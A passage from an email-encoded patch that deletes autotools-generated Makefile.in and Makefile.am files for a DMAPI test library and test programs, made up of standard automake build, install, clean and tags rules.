'$(DESTDIR)$(bindir)/$$f'"; \ -=09 $(INSTALL_PROGRAM_ENV) $(LIBTOOL) --mode=3Dinstall $(binPROGRAMS= _INSTALL) "$$p" "$(DESTDIR)$(bindir)/$$f" || exit 1; \ -=09 else :; fi; \ -=09done - -uninstall-binPROGRAMS: -=09@$(NORMAL_UNINSTALL) -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 f=3D`echo "$$p" | sed 's,^.*/,,;s/$(EXEEXT)$$//;$(transform);s/$$= /$(EXEEXT)/'`; \ -=09 echo " rm -f '$(DESTDIR)$(bindir)/$$f'"; \ -=09 rm -f "$(DESTDIR)$(bindir)/$$f"; \ -=09done - -clean-binPROGRAMS: -=09@list=3D'$(bin_PROGRAMS)'; for p in $$list; do \ -=09 f=3D`echo $$p|sed 's/$(EXEEXT)$$//'`; \ -=09 echo " rm -f $$p $$f"; \ -=09 rm -f $$p $$f ; \ -=09done -read_invis$(EXEEXT): $(read_invis_OBJECTS) $(read_invis_DEPENDENCIES)= =20 -=09@rm -f read_invis$(EXEEXT) -=09$(LINK) $(read_invis_LDFLAGS) $(read_invis_OBJECTS) $(read_invis_LD= ADD) $(LIBS) -set_region$(EXEEXT): $(set_region_OBJECTS) $(set_region_DEPENDENCIES)= =20 -=09@rm -f set_region$(EXEEXT) -=09$(LINK) $(set_region_LDFLAGS) $(set_region_OBJECTS) $(set_region_LD= ADD) $(LIBS) -set_return_on_destroy$(EXEEXT): $(set_return_on_destroy_OBJECTS) $(set= _return_on_destroy_DEPENDENCIES)=20 -=09@rm -f set_return_on_destroy$(EXEEXT) -=09$(LINK) $(set_return_on_destroy_LDFLAGS) $(set_return_on_destroy_OB= JECTS) $(set_return_on_destroy_LDADD) $(LIBS) -write_invis$(EXEEXT): $(write_invis_OBJECTS) $(write_invis_DEPENDENCIE= S)=20 -=09@rm -f write_invis$(EXEEXT) -=09$(LINK) $(write_invis_LDFLAGS) $(write_invis_OBJECTS) $(write_invis= _LDADD) $(LIBS) - -mostlyclean-compile: -=09-rm -f *.$(OBJEXT) - -distclean-compile: -=09-rm -f *.tab.c - -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/read_invis.Po@am__quo= te@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/set_region.Po@am__quo= te@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/set_return_on_destroy= .Po@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/write_invis.Po@am__qu= ote@ - -.c.o: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c $< - -.c.obj: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c `$(CYGPATH_W) '$<'` - -.c.lo: -@am__fastdepCC_TRUE@=09if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$= *.Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo= "; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dyes @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(LTCOMPILE) -c -o $@ $< - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 fi; \ -=09 cp -pR $$d/$$file $(distdir)$$dir || exit 1; \ -=09 else \ -=09 test -f $(distdir)/$$file \ -=09 || cp -p $$d/$$file $(distdir)/$$file \ -=09 || exit 1; \ -=09 fi; \ -=09done -check-am: all-am -check: check-am -all-am: Makefile $(PROGRAMS) -installdirs: -=09for dir in "$(DESTDIR)$(bindir)"; do \ -=09 test -z "$$dir" || $(mkdir_p) "$$dir"; \ -=09done -install: install-am -install-exec: install-exec-am -install-data: install-data-am -uninstall: uninstall-am - -install-am: all-am -=09@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am - -installcheck: installcheck-am -install-strip: -=09$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)= " \ -=09 install_sh_PROGRAM=3D"$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLA= G=3D-s \ -=09 `test -z '$(STRIP)' || \ -=09 echo "INSTALL_PROGRAM_ENV=3DSTRIPPROG=3D'$(STRIP)'"` install -mostlyclean-generic: - -clean-generic: - -distclean-generic: -=09-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) - -maintainer-clean-generic: -=09@echo "This command is intended for maintainers to use" -=09@echo "it deletes files that may require special tools to rebuild." -clean: clean-am - -clean-am: clean-binPROGRAMS clean-generic clean-libtool mostlyclean-am - -distclean: distclean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -distclean-am: clean-am distclean-compile distclean-generic \ -=09distclean-libtool distclean-tags - -dvi: dvi-am - -dvi-am: - -html: html-am - -info: info-am - -info-am: - -install-data-am: - -install-exec-am: install-binPROGRAMS - -install-info: install-info-am - -install-man: - -installcheck-am: - -maintainer-clean: maintainer-clean-am -=09-rm -rf ./$(DEPDIR) -=09-rm -f Makefile -maintainer-clean-am: distclean-am maintainer-clean-generic - -mostlyclean: mostlyclean-am - -mostlyclean-am: mostlyclean-compile mostlyclean-generic \ -=09mostlyclean-libtool - -pdf: pdf-am - -pdf-am: - -ps: ps-am - -ps-am: - -uninstall-am: uninstall-binPROGRAMS uninstall-info-am - -.PHONY: CTAGS GTAGS all all-am check check-am clean clean-binPROGRAMS = \ -=09clean-generic clean-libtool ctags distclean distclean-compile \ -=09distclean-generic distclean-libtool distclean-tags distdir dvi \ -=09dvi-am html html-am info info-am install install-am \ -=09install-binPROGRAMS install-data install-data-am install-exec \ -=09install-exec-am install-info install-info-am install-man \ -=09install-strip installcheck installcheck-am installdirs \ -=09maintainer-clean maintainer-clean-generic mostlyclean \ -=09mostlyclean-compile mostlyclean-generic mostlyclean-libtool \ -=09pdf pdf-am ps ps-am tags uninstall uninstall-am \ -=09uninstall-binPROGRAMS uninstall-info-am - -# Tell versions [3.59,3.63) of GNU make to not export all variables. -# Otherwise a system limit (for SysV at least) may be exceeded. -.NOEXPORT: Index: b/dmapi/src/common/lib/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/common/lib/Makefile.am +++ /dev/null @@ -1,10 +0,0 @@ -## Process this file with automake to produce Makefile.in - -## -## Copyright (c) 2000-2001 Silicon Graphics, Inc. All Rights Reserved= . -## - -LIBS=3D -lib_LTLIBRARIES =3D libdmtest.la -libdmtest_la_SOURCES =3D hsm.h dmport.h find_session.c print.c stubs.c= util.c -libdmtest_la_LDFLAGS =3D -static Index: b/dmapi/src/common/lib/Makefile.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/src/common/lib/Makefile.in +++ /dev/null @@ -1,453 +0,0 @@ -# Makefile.in generated by automake 1.9.1 from Makefile.am. -# @configure_input@ - -# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, -# 2003, 2004 Free Software Foundation, Inc. -# This Makefile.in is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY, to the extent permitted by law; without -# even the implied warranty of MERCHANTABILITY or FITNESS FOR A -# PARTICULAR PURPOSE. - -@SET_MAKE@ - -SOURCES =3D $(libdmtest_la_SOURCES) - -srcdir =3D @srcdir@ -top_srcdir =3D @top_srcdir@ -VPATH =3D @srcdir@ -pkgdatadir =3D $(datadir)/@PACKAGE@ -pkglibdir =3D $(libdir)/@PACKAGE@ -pkgincludedir =3D $(includedir)/@PACKAGE@ -top_builddir =3D ../../.. -am__cd =3D CDPATH=3D"$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd -INSTALL =3D @INSTALL@ -install_sh_DATA =3D $(install_sh) -c -m 644 -install_sh_PROGRAM =3D $(install_sh) -c -install_sh_SCRIPT =3D $(install_sh) -c -INSTALL_HEADER =3D $(INSTALL_DATA) -transform =3D $(program_transform_name) -NORMAL_INSTALL =3D : -PRE_INSTALL =3D : -POST_INSTALL =3D : -NORMAL_UNINSTALL =3D : -PRE_UNINSTALL =3D : -POST_UNINSTALL =3D : -build_triplet =3D @build@ -host_triplet =3D @host@ -subdir =3D src/common/lib -DIST_COMMON =3D $(srcdir)/Makefile.am $(srcdir)/Makefile.in -ACLOCAL_M4 =3D $(top_srcdir)/aclocal.m4 -am__aclocal_m4_deps =3D $(top_srcdir)/configure.ac -am__configure_deps =3D $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES= ) \ -=09$(ACLOCAL_M4) -mkinstalldirs =3D $(install_sh) -d -CONFIG_CLEAN_FILES =3D -am__vpath_adj_setup =3D srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g= '`; -am__vpath_adj =3D case $$p in \ - $(srcdir)/*) f=3D`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \ - *) f=3D$$p;; \ - esac; -am__strip_dir =3D `echo $$p | sed -e 's|^.*/||'`; -am__installdirs =3D "$(DESTDIR)$(libdir)" -libLTLIBRARIES_INSTALL =3D $(INSTALL) -LTLIBRARIES =3D $(lib_LTLIBRARIES) -libdmtest_la_LIBADD =3D -am_libdmtest_la_OBJECTS =3D find_session.lo print.lo stubs.lo util.lo -libdmtest_la_OBJECTS =3D $(am_libdmtest_la_OBJECTS) -DEFAULT_INCLUDES =3D -I. -I$(srcdir) -depcomp =3D $(SHELL) $(top_srcdir)/depcomp -am__depfiles_maybe =3D depfiles -COMPILE =3D $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAG= S) \ -=09$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -LTCOMPILE =3D $(LIBTOOL) --mode=3Dcompile --tag=3DCC $(CC) $(DEFS) \ -=09$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ -=09$(AM_CFLAGS) $(CFLAGS) -CCLD =3D $(CC) -LINK =3D $(LIBTOOL) --mode=3Dlink --tag=3DCC $(CCLD) $(AM_CFLAGS) $(CF= LAGS) \ -=09$(AM_LDFLAGS) $(LDFLAGS) -o $@ -SOURCES =3D $(libdmtest_la_SOURCES) -DIST_SOURCES =3D $(libdmtest_la_SOURCES) -ETAGS =3D etags -CTAGS =3D ctags -DISTFILES =3D $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) -ACLOCAL =3D @ACLOCAL@ -AMDEP_FALSE =3D @AMDEP_FALSE@ -AMDEP_TRUE =3D @AMDEP_TRUE@ -AMTAR =3D @AMTAR@ -AR =3D @AR@ -AUTOCONF =3D @AUTOCONF@ -AUTOHEADER =3D @AUTOHEADER@ -AUTOMAKE =3D @AUTOMAKE@ -AWK =3D @AWK@ -CC =3D @CC@ -CCDEPMODE =3D @CCDEPMODE@ -CFLAGS =3D @CFLAGS@ -CPP =3D @CPP@ -CPPFLAGS =3D @CPPFLAGS@ -CXX =3D @CXX@ -CXXCPP =3D @CXXCPP@ -CXXDEPMODE =3D @CXXDEPMODE@ -CXXFLAGS =3D @CXXFLAGS@ -CYGPATH_W =3D @CYGPATH_W@ -DEFS =3D @DEFS@ -DEPDIR =3D @DEPDIR@ -ECHO =3D @ECHO@ -ECHO_C =3D @ECHO_C@ -ECHO_N =3D @ECHO_N@ -ECHO_T =3D @ECHO_T@ -EGREP =3D @EGREP@ -EXEEXT =3D @EXEEXT@ -F77 =3D @F77@ -FFLAGS =3D @FFLAGS@ -INSTALL_DATA =3D @INSTALL_DATA@ -INSTALL_PROGRAM =3D @INSTALL_PROGRAM@ -INSTALL_SCRIPT =3D @INSTALL_SCRIPT@ -INSTALL_STRIP_PROGRAM =3D @INSTALL_STRIP_PROGRAM@ -LDFLAGS =3D @LDFLAGS@ -LIBOBJS =3D @LIBOBJS@ -LIBS =3D=20 -LIBTOOL =3D @LIBTOOL@ -LN_S =3D @LN_S@ -LTLIBOBJS =3D @LTLIBOBJS@ -MAKEINFO =3D @MAKEINFO@ -OBJEXT =3D @OBJEXT@ -PACKAGE =3D @PACKAGE@ -PACKAGE_BUGREPORT =3D @PACKAGE_BUGREPORT@ -PACKAGE_NAME =3D @PACKAGE_NAME@ -PACKAGE_STRING =3D @PACKAGE_STRING@ -PACKAGE_TARNAME =3D @PACKAGE_TARNAME@ -PACKAGE_VERSION =3D @PACKAGE_VERSION@ -PATH_SEPARATOR =3D @PATH_SEPARATOR@ -RANLIB =3D @RANLIB@ -SET_MAKE =3D @SET_MAKE@ -SHELL =3D @SHELL@ -STRIP =3D @STRIP@ -VERSION =3D @VERSION@ -ac_ct_AR =3D @ac_ct_AR@ -ac_ct_CC =3D @ac_ct_CC@ -ac_ct_CXX =3D @ac_ct_CXX@ -ac_ct_F77 =3D @ac_ct_F77@ -ac_ct_RANLIB =3D @ac_ct_RANLIB@ -ac_ct_STRIP =3D @ac_ct_STRIP@ -am__fastdepCC_FALSE =3D @am__fastdepCC_FALSE@ -am__fastdepCC_TRUE =3D @am__fastdepCC_TRUE@ -am__fastdepCXX_FALSE =3D @am__fastdepCXX_FALSE@ -am__fastdepCXX_TRUE =3D @am__fastdepCXX_TRUE@ -am__include =3D @am__include@ -am__leading_dot =3D @am__leading_dot@ -am__quote =3D @am__quote@ -am__tar =3D @am__tar@ -am__untar =3D @am__untar@ -bindir =3D @bindir@ -build =3D @build@ -build_alias =3D @build_alias@ -build_cpu =3D @build_cpu@ -build_os =3D @build_os@ -build_vendor =3D @build_vendor@ -datadir =3D @datadir@ -exec_prefix =3D @exec_prefix@ -host =3D @host@ -host_alias =3D @host_alias@ -host_cpu =3D @host_cpu@ -host_os =3D @host_os@ -host_vendor =3D @host_vendor@ -includedir =3D @includedir@ -infodir =3D @infodir@ -install_sh =3D @install_sh@ -libdir =3D @libdir@ -libexecdir =3D @libexecdir@ -localstatedir =3D @localstatedir@ -mandir =3D @mandir@ -mkdir_p =3D @mkdir_p@ -oldincludedir =3D @oldincludedir@ -prefix =3D @prefix@ -program_transform_name =3D @program_transform_name@ -sbindir =3D @sbindir@ -sharedstatedir =3D @sharedstatedir@ -sysconfdir =3D @sysconfdir@ -target_alias =3D @target_alias@ -lib_LTLIBRARIES =3D libdmtest.la -libdmtest_la_SOURCES =3D hsm.h dmport.h find_session.c print.c stubs.c= util.c -libdmtest_la_LDFLAGS =3D -static -all: all-am - -.SUFFIXES: -.SUFFIXES: .c .lo .o .obj -$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) -=09@for dep in $?; do \ -=09 case '$(am__configure_deps)' in \ -=09 *$$dep*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \ -=09=09&& exit 0; \ -=09 exit 1;; \ -=09 esac; \ -=09done; \ -=09echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu src/common/lib/Makefi= le'; \ -=09cd $(top_srcdir) && \ -=09 $(AUTOMAKE) --gnu src/common/lib/Makefile -.PRECIOUS: Makefile -Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status -=09@case '$?' in \ -=09 *config.status*) \ -=09 cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ -=09 *) \ -=09 echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)= /$@ $(am__depfiles_maybe)'; \ -=09 cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(a= m__depfiles_maybe);; \ -=09esac; - -$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS= _DEPENDENCIES) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh - -$(top_srcdir)/configure: $(am__configure_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -$(ACLOCAL_M4): $(am__aclocal_m4_deps) -=09cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh -install-libLTLIBRARIES: $(lib_LTLIBRARIES) -=09@$(NORMAL_INSTALL) -=09test -z "$(libdir)" || $(mkdir_p) "$(DESTDIR)$(libdir)" -=09@list=3D'$(lib_LTLIBRARIES)'; for p in $$list; do \ -=09 if test -f $$p; then \ -=09 f=3D$(am__strip_dir) \ -=09 echo " $(LIBTOOL) --mode=3Dinstall $(libLTLIBRARIES_INSTALL) $(= INSTALL_STRIP_FLAG) '$$p' '$(DESTDIR)$(libdir)/$$f'"; \ -=09 $(LIBTOOL) --mode=3Dinstall $(libLTLIBRARIES_INSTALL) $(INSTALL= _STRIP_FLAG) "$$p" "$(DESTDIR)$(libdir)/$$f"; \ -=09 else :; fi; \ -=09done - -uninstall-libLTLIBRARIES: -=09@$(NORMAL_UNINSTALL) -=09@set -x; list=3D'$(lib_LTLIBRARIES)'; for p in $$list; do \ -=09 p=3D$(am__strip_dir) \ -=09 echo " $(LIBTOOL) --mode=3Duninstall rm -f '$(DESTDIR)$(libdir)/$= $p'"; \ -=09 $(LIBTOOL) --mode=3Duninstall rm -f "$(DESTDIR)$(libdir)/$$p"; \ -=09done - -clean-libLTLIBRARIES: -=09-test -z "$(lib_LTLIBRARIES)" || rm -f $(lib_LTLIBRARIES) -=09@list=3D'$(lib_LTLIBRARIES)'; for p in $$list; do \ -=09 dir=3D"`echo $$p | sed -e 's|/[^/]*$$||'`"; \ -=09 test "$$dir" !=3D "$$p" || dir=3D.; \ -=09 echo "rm -f \"$${dir}/so_locations\""; \ -=09 rm -f "$${dir}/so_locations"; \ -=09done -libdmtest.la: $(libdmtest_la_OBJECTS) $(libdmtest_la_DEPENDENCIES)=20 -=09$(LINK) -rpath $(libdir) $(libdmtest_la_LDFLAGS) $(libdmtest_la_OBJ= ECTS) $(libdmtest_la_LIBADD) $(LIBS) - -mostlyclean-compile: -=09-rm -f *.$(OBJEXT) - -distclean-compile: -=09-rm -f *.tab.c - -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/find_session.Plo@am__= quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/print.Plo@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/stubs.Plo@am__quote@ -@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/util.Plo@am__quote@ - -.c.o: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c $< - -.c.obj: -@am__fastdepCC_TRUE@=09if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.= Tpo" -c -o $@ `$(CYGPATH_W) '$<'`; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"= ; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dno @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(COMPILE) -c `$(CYGPATH_W) '$<'` - -.c.lo: -@am__fastdepCC_TRUE@=09if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$= *.Tpo" -c -o $@ $<; \ -@am__fastdepCC_TRUE@=09then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo= "; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09source=3D'$<' object=3D'$@' libtoo= l=3Dyes @AMDEPBACKSLASH@ -@AMDEP_TRUE@@am__fastdepCC_FALSE@=09DEPDIR=3D$(DEPDIR) $(CCDEPMODE) $(= depcomp) @AMDEPBACKSLASH@ -@am__fastdepCC_FALSE@=09$(LTCOMPILE) -c -o $@ $< - -mostlyclean-libtool: -=09-rm -f *.lo - -clean-libtool: -=09-rm -rf .libs _libs - -distclean-libtool: -=09-rm -f libtool -uninstall-info-am: - -ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09mkid -fID $$unique -tags: TAGS - -TAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \ -=09 test -n "$$unique" || unique=3D$$empty_fix; \ -=09 $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ -=09 $$tags $$unique; \ -=09fi -ctags: CTAGS -CTAGS: $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ -=09=09$(TAGS_FILES) $(LISP) -=09tags=3D; \ -=09here=3D`pwd`; \ -=09list=3D'$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ -=09unique=3D`for i in $$list; do \ -=09 if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ -=09 done | \ -=09 $(AWK) ' { files[$$0] =3D 1; } \ -=09 END { for (i in files) print i; }'`; \ -=09test -z "$(CTAGS_ARGS)$$tags$$unique" \ -=09 || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ -=09 $$tags $$unique - -GTAGS: -=09here=3D`$(am__cd) $(top_builddir) && pwd` \ -=09 && cd $(top_srcdir) \ -=09 && gtags -i $(GTAGS_ARGS) $$here - -distclean-tags: -=09-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags - -distdir: $(DISTFILES) -=09@srcdirstrip=3D`echo "$(srcdir)" | sed 's|.|.|g'`; \ -=09topsrcdirstrip=3D`echo "$(top_srcdir)" | sed 's|.|.|g'`; \ -=09list=3D'$(DISTFILES)'; for file in $$list; do \ -=09 case $$file in \ -=09 $(srcdir)/*) file=3D`echo "$$file" | sed "s|^$$srcdirstrip/||"`= ;; \ -=09 $(top_srcdir)/*) file=3D`echo "$$file" | sed "s|^$$topsrcdirstr= ip/|$(top_builddir)/|"`;; \ -=09 esac; \ -=09 if test -f $$file || test -d $$file; then d=3D.; else d=3D$(srcdi= r); fi; \ -=09 dir=3D`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \ -=09 if test "$$dir" !=3D "$$file" && test "$$dir" !=3D "."; then \ -=09 dir=3D"/$$dir"; \ -=09 $(mkdir_p) "$(distdir)$$dir"; \ -=09 else \ -=09 dir=3D''; \ -=09 fi; \ -=09 if test -d $$d/$$file; then \ -=09 if test -d $(srcdir)/$$file && test $$d !=3D $(srcdir); then \ -=09 cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \ -=09 